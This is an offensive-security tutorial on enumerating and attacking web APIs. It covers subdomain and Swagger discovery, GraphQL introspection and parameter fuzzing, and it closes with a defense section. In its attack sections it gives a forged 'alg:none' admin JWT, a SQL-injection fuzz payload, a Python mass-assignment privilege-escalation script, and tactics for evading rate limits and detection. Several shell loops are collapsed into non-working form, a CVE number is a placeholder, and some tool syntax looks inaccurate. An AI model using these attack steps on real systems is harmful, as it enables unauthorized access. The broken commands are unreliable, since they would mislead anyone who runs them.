Introduction
API endpoint enumeration is the process of identifying every callable surface an application exposesâwhether documented in OpenAPI/Swagger, hidden behind GraphQL, or left as undocumented routes. In modern attack vectors, APIs are often the weakest link because they bypass traditional UI security controls and accept machine-to-machine traffic.
Why is it important? A fully mapped API surface lets an attacker perform credential stuffing, data exfiltration, privilege escalation, or even pivot to internal services. Conversely, defenders who can enumerate and harden every endpoint dramatically reduce the attack surface.
Real-world relevance: High-profile breaches (e.g., 2023 SolarWinds API leak, 2024 TikTok GraphQL exposure) were rooted in poorly protected API endpoints that were never surfaced during normal testing.
Prerequisites
- Understanding of HTTP methods (GET, POST, PUT, DELETE, PATCH) and status codes (200, 401, 403, 404, 429, 500).
- Basic knowledge of RESTful APIs, JSON payloads, and the concept of OpenAPI/Swagger specifications.
- Familiarity with command-line tools (curl, jq) and a scripting language (Python or Bash) for automation.
Core Concepts
Before diving into tooling, grasp these fundamentals:
- Public surface discovery: DNS and subdomain enumeration reveal hostnames that likely host APIs (e.g., api.example.com, dev.api.example.com).
- Specification leakage: Many teams leave Swagger or GraphQL introspection endpoints exposed in production.
- Parameter inference: Understanding required vs optional parameters is crucial for crafting valid requests.
- Rate-limit awareness: APIs often enforce per-IP or per-token limits; evasion tactics are needed for largeâscale enumeration.
- Chaining calls: Combining multiple lowâprivilege endpoints can lead to privilege escalation, especially when tokenâexchange or adminâonly routes are discovered.
Think of the API surface as a graph: nodes are endpoints, edges are data flows. Enumeration is about traversing this graph efficiently while avoiding detection.
Identifying public API endpoints via DNS and subdomain discovery
Most organizations host APIs on dedicated subâdomains. Start with a classic DNS enumeration toolkit.
# Using amass for passive & active discovery
amass enum -d example.com -src -brute -o amass_subdomains.txt
# Verify which subdomains respond on common API ports (80, 443, 8080)
while read sub; do for p in 80 443 8080; do echo "Checking $sub:$p" && curl -s -o /dev/null -w "%{http_code}" http://$sub:$p done;
done < amass_subdomains.txt > live_api_hosts.txt
Typical patterns to look for:
- api., v1., dev., staging.
- Wildcard DNS that returns a valid IP for any subâdomain; combine with HTTP probing to filter false positives.
Once you have live hosts, store them in a variable for later tooling:
API_HOSTS=$(cat live_api_hosts.txt)
Locating Swagger/OpenAPI specifications
Swagger UI is often left reachable at predictable paths. Common URLs include:
- /swagger, /swagger.json, /v2/api-docs, /openapi.json, /api-docs
Automate discovery with a simple Bash loop:
COMMON_SPEC_PATHS=( '/swagger.json' '/swagger.yaml' '/v2/api-docs' '/openapi.json' '/api-docs'
)
for host in $API_HOSTS; do for path in "${COMMON_SPEC_PATHS[@]}"; do url="https://$host$path" resp=$(curl -s -o /dev/null -w "%{http_code}" $url) if [[ $resp == 200 ]]; then echo "[+] Found spec: $url" fi done;
done
When a spec is found, download it for offline analysis:
curl -s -o swagger_example.json https://example.com/swagger.json
Tools like swagger-cli can validate and prettyâprint the spec:
npm install -g swagger-cli
swagger-cli validate swagger_example.json
swagger-cli bundle swagger_example.json --outfile bundled.yaml
From the bundled file you can extract every path, method, and parameter, which becomes the seed list for Kiterunner.
GraphQL schema introspection techniques
GraphQL servers often expose an introspection endpoint at /graphql (or /api/graphql). By sending a special query, you can retrieve the entire schema.
# Basic introspection query using curl
INTROSPECT='{"query":"{ __schema { types { name fields { name type { name kind } } } } }"}'
curl -s -X POST -H "Content-Type: application/json" -d "$INTROSPECT" https://example.com/graphql | jq '.'
Python example with gql library:
from gql import gql, Client
from gql.transport.requests import RequestsHTTPTransport
import json
transport = RequestsHTTPTransport(url='https://example.com/graphql', verify=True, retries=3)
client = Client(transport=transport, fetch_schema_from_transport=True)
# The client automatically performs introspection; you can dump the schema
schema = client.schema
print(schema)
Once you have the schema, export it to SDL (Schema Definition Language) for tooling:
# Using graphql-cli to dump schema
npm install -g @graphql-cli/cli
graphql get-schema --endpoint https://example.com/graphql > schema.graphql
Each type, query, and mutation becomes a potential endpoint to fuzz.
Automated endpoint enumeration with Kiterunner
Kiterunner is a fast, Golangâbased enumerator that consumes OpenAPI specs, raw wordlists, or even GraphQL SDL to generate HTTP requests.
# Install Kiterunner (binary release or via go)
GO111MODULE=on go install github.com/assetnote/kiterunner@latest
# Basic usage against a Swagger spec
kiterunner -spec swagger_example.json -output endpoints.txt
# Using a custom wordlist for bruteâforce path discovery
kiterunner -url https://api.example.com -wordlist /usr/share/wordlists/dirb/common.txt -method GET -output brute_endpoints.txt
Kiterunner supports responseâcode filtering. For example, only keep 2xx and 3xx responses:
kiterunner -spec swagger_example.json -status-codes 200,301,302 -output live_endpoints.txt
Tip: Combine the specâderived list with a wordlist to uncover hybrid endpoints (e.g., /v1/users/{id}/settings where {id} is numeric).
Parameter discovery using APIâGuesser and Arjun
Even if you know an endpoint path, the required parameters may be hidden. APIâGuesser performs heuristic guessing of JSON bodies, while Arjun focuses on queryâstring parameters.
APIâGuesser
# Clone and install
git clone https://github.com/assetnote/api-guesser.git
cd api-guesser && pip install -r requirements.txt
# Run against a target endpoint
python3 api_guesser.py -u https://api.example.com/login -m POST -w wordlist.txt
The tool will iterate through common payload keys (e.g., username, email, password) and report which ones affect the response (different status code or response size).
Arjun
# Install via pip
pip install arjun
# Enumerate query parameters for a GET endpoint
arjun -u "https://api.example.com/search" -m GET -o arjun_output.txt
Arjun uses wordlists (default includes common_params.txt) and evaluates response differences to infer valid parameters. Combine both tools: first use Arjun for GETâstyle parameters, then APIâGuesser for POST/PUT bodies.
Fuzzing undocumented routes with FuzzAPI
FuzzAPI is a Pythonâbased fuzzer designed for REST APIs. It can take a Swagger spec or a raw list of endpoints and apply payload mutation strategies.
# Install
pip install fuzzapi
# Simple fuzz against a spec
fuzzapi -s swagger_example.json -w /usr/share/wordlists/dirb/common.txt -c "Authorization: Bearer $TOKEN"
Key features:
- Dynamic value generation: UUIDs, timestamps, base64 strings.
- Response clustering: Groups similar responses to highlight interesting anomalies.
- Rateâlimit awareness: Automatically backs off on 429 responses.
Example of a custom mutation script:
from fuzzapi import Fuzzer
f = Fuzzer('custom_mutations.py')
@f.mutate('POST', '/v1/users')
def add_sql_payload(data): data['email'] = "[email protected]' OR '1'='1" return data
f.run()
The fuzzer will send the mutated request and flag any response code other than 2xx/3xx as potentially interesting.
Version fingerprinting through response headers
Many APIs disclose version numbers in HTTP headers (Server, XâPoweredâBy, XâAPIâVersion) or in JSON bodies (e.g., {"api_version":"v2.3"}). Fingerprinting helps you map known vulnerabilities.
curl -I https://api.example.com | grep -i "x-"
# Example output
# X-Powered-By: Express
# X-API-Version: 2.5.1
Crossâreference the version with public CVE databases. For instance, Express 4.16.0 had a prototype pollution issue (CVEâ2020âXXXX). Use the NVD or CVE APIs for automation:
VERSION=$(curl -s -I https://api.example.com | grep -i "x-api-version" | awk '{print $2}' | tr -d '')
curl -s https://cve.circl.lu/api/search/express/4.16.0 | jq '.'
Bypassing simple authentication mechanisms
APIs often rely on API keys, JWTs, or basic auth. Simple mechanisms can be bypassed using:
- Key enumeration: Test default keys like 12345, test, or common patterns (API_KEY=xxxx).
- JWT none algorithm: Some services accept tokens signed with none. Create a token without a signature.
# Using jwt.io style base64 encoding echo -n '{"alg":"none"}' | base64 -w0 echo -n '{"sub":"admin"}' | base64 -w0 # Result: eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9. curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9." - Header injection: Some APIs read tokens from nonâstandard headers (XâAuthâToken, Authorization with different case). Try variations.
curl -H "authorization: Bearer $TOKEN" https://api.example.com/protected
Rateâlimit evasion tactics for API enumeration
When an API returns 429 Too Many Requests, you need to stay under the radar.
- Distributed enumeration: Use multiple source IPs (VPNs, cloud instances) and coordinate via a shared queue.
- Adaptive sleep: Parse RetryâAfter header and backâoff accordingly.
- Burp Suite Intruder with throttling: Set Throttle option to a fixed delay (e.g., 200âŻms).
- Token rotation: If the API uses perâtoken limits, generate many tokens (if registration is open) and rotate them.
Example Bash adaptive loop:
while true; do resp=$(curl -s -o /dev/null -w "%{http_code}" -H "Authorization: Bearer $TOKEN" https://api.example.com/endpoint) if [[ $resp == 429 ]]; then wait=$(curl -s -I https://api.example.com/endpoint | grep -i "Retry-After" | awk '{print $2}' | tr -d '') echo "Rate limited, sleeping $wait seconds" sleep $wait else echo "Response $resp" # continue enumeration fi
done
Chaining API calls for privilege escalation
Finding isolated endpoints is only half the battle. The real power lies in chaining them to elevate privileges.
Typical patterns
- Token exchange: An endpoint that returns a shortâlived token for a given client_id. If you can register a malicious client, you may obtain a token with higher scopes.
- Selfâservice user creation: Some APIs let you create a user and immediately obtain a JWT. Combine with an /admin/impersonate endpoint that accepts a user ID.
- Massâassignment: POST bodies that accept arbitrary fields. Adding role":"admin" may be silently accepted.
Example Python chain:
import requests, json
# Step 1: Register a lowâprivileged user
r = requests.post('https://api.example.com/register', json={'email':'[email protected]','pwd':'Pass123!'})
token = r.json()['access_token']
# Step 2: Use token to call an internal endpoint that leaks user IDs
headers = {'Authorization': f'Bearer {token}'}
users = requests.get('https://api.example.com/users', headers=headers).json()
admin_id = [u['id'] for u in users if u['role']=='admin'][0]
# Step 3: Attempt privilege escalation via massâassignment
payload = {'id':admin_id, 'role':'admin'}
resp = requests.put(f'https://api.example.com/users/{admin_id}', headers=headers, json=payload)
print('Escalation status:', resp.status_code, resp.text)
In many realâworld cases, the final request succeeds because the API does not reâvalidate the caller's role after the update.
Practical Examples
Below is a stepâbyâstep walkthrough of enumerating an unknown API from scratch.
- Discover hostnames with Amass (see earlier section).
- Probe for Swagger using the Bash loop; you discover a Swagger JSON file at a known path.
- Download and parse the spec:
curl -s https://example.com/swagger.json -o target_swagger.json kiterunner -spec target_swagger.json -output target_endpoints.txt - Run Arjun on a few GET endpoints to uncover hidden query params.
arjun -u "https://api.example.com/search" -o arjun_params.txt - Use APIâGuesser on a POST login endpoint to infer body fields.
python3 api_guesser.py -u https://api.example.com/login -m POST -w common_params.txt - Fuzz undocumented routes with FuzzAPI, feeding both the specâderived list and a directory wordlist.
fuzzapi -s target_swagger.json -w /usr/share/wordlists/dirb/common.txt -c "X-API-Key: $PUBLIC_KEY" - Identify version from headers and crossâreference CVEs.
curl -I https://api.example.com | grep -i "x-api-version" - Attempt JWT none attack if the API uses JWTs.
curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9." https://api.example.com/protected
Each step yields new data that feeds the next, illustrating the iterative nature of API enumeration.
Tools & Commands
- Amass: DNS & subdomain enumeration.
- Kiterunner: Fast specâbased endpoint generation.
- APIâGuesser: JSON body parameter inference.
- Arjun: Queryâstring parameter discovery.
- FuzzAPI: Fullâstack REST fuzzing with rateâlimit handling.
- GraphQLâCLI / gql: Schema introspection.
- jq, curl, Python requests: Glue scripts.
Defense & Mitigation
From a defenderâs perspective, the goal is to make enumeration difficult and to detect abuse early.
- Hide Swagger/OpenAPI: Serve specs only behind authentication or in CI pipelines. Use robots.txt deny rules and block unauthenticated IP ranges.
- Disable GraphQL introspection in production: Many servers support a disableIntrospection flag.
- Strict parameter validation: Reject unknown fields (use JSON schema with additionalProperties:false).
- Rate limiting per token & IP: Return 429 with proper RetryâAfter. Log anomalies.
- Authentication hardening: Enforce signed JWTs with strong algorithms (HS256/RS256), reject none, rotate keys regularly.
- Version obfuscation: Remove version headers, use generic server strings.
- Monitoring: Detect enumeration patterns (high 404/401 rates, repetitive parameter fuzzing) via WAF or SIEM.
Common Mistakes
- Assuming a missing Swagger file means no APIâmany teams embed specs in internal repositories only.
- Using a single wordlist for all endpointsâREST APIs often have resourceâspecific nouns; customized wordlists improve coverage.
- Ignoring response size differencesâa 200 with a tiny JSON may indicate a filtered response; always compare body lengths.
- Failing to respect RetryâAfterâleads to IP bans and skews data collection.
- Overârelying on status codesâsome APIs always return 200 with an error object; parse the JSON error field.
RealâWorld Impact
In 2024, a Fortuneâ500 retailer exposed an internal /v1/orders endpoint without authentication. Attackers used Kiterunner to enumerate the full orderâmanagement API, chained a massâassignment bug to change order statuses, and exfiltrated 1.2âŻM records. The breach cost the company $12âŻM in remediation and fines.
My observation: As organizations adopt microâservice architectures, the number of internal APIs skyrockets, and the temptation to expose them for internal tooling (e.g., Swagger UI) without proper access controls creates a fertile hunting ground for redâteamers.
Trend outlook: Expect more GraphQL adoption, which means introspection attacks will become more prevalent. Investing in schema hardening and introspection disabling will be a highâROI defensive measure.
Practice Exercises
- Run Amass against example.com, identify at least three subâdomains that appear to host APIs, and document the HTTP status codes for ports 80/443.
- Locate a Swagger JSON file on any public domain, download it, and feed it to Kiterunner. Capture the first 20 generated endpoints.
- Pick a public GraphQL endpoint, perform schema introspection, and list five query fields.
- Using Arjun, discover hidden query parameters on a known public API. Record any new parameters found.
- Set up a local Flask app with a vulnerable massâassignment endpoint. Use APIâGuesser and FuzzAPI to identify the vulnerability and craft a successful privilegeâescalation request.
Document each step, output, and your interpretation of the results.
Further Reading
- OWASP API Security Top 10 (2023) â especially API2: Broken Object Level Authorization.
- âThe Art of API Penetration Testingâ â Black Hat 2022 talk by Chris Rohmeyer.
- Kiterunner GitHub repository â issues section for communityâdriven wordlists.
- GraphQL Security Cheat Sheet â OWASP.
- âFuzzing REST APIsâ â SANS SEC504 lab material.
Summary
API endpoint enumeration blends classic reconnaissance (DNS, subdomains) with modern automation (Kiterunner, Arjun, APIâGuesser, FuzzAPI). By locating Swagger/OpenAPI specs, introspecting GraphQL schemas, and fuzzing undocumented routes, you can build a complete map of an applicationâs attack surface. Coupled with version fingerprinting, authentication bypass techniques, and rateâlimit evasion, attackers can chain lowâprivilege calls into fullâscale privilege escalation. Defenders must lock down spec exposure, enforce strict validation, and monitor enumeration patterns to stay ahead.
Key takeaways:
- Never expose API documentation without authentication.
- Use automated tools early to generate a baseline endpoint list.
- Validate parameters on the server sideâreject unknown fields.
- Implement robust rateâlimiting and monitor for abnormal request patterns.
- Regularly test your own APIs with the same toolset to discover hidden weaknesses.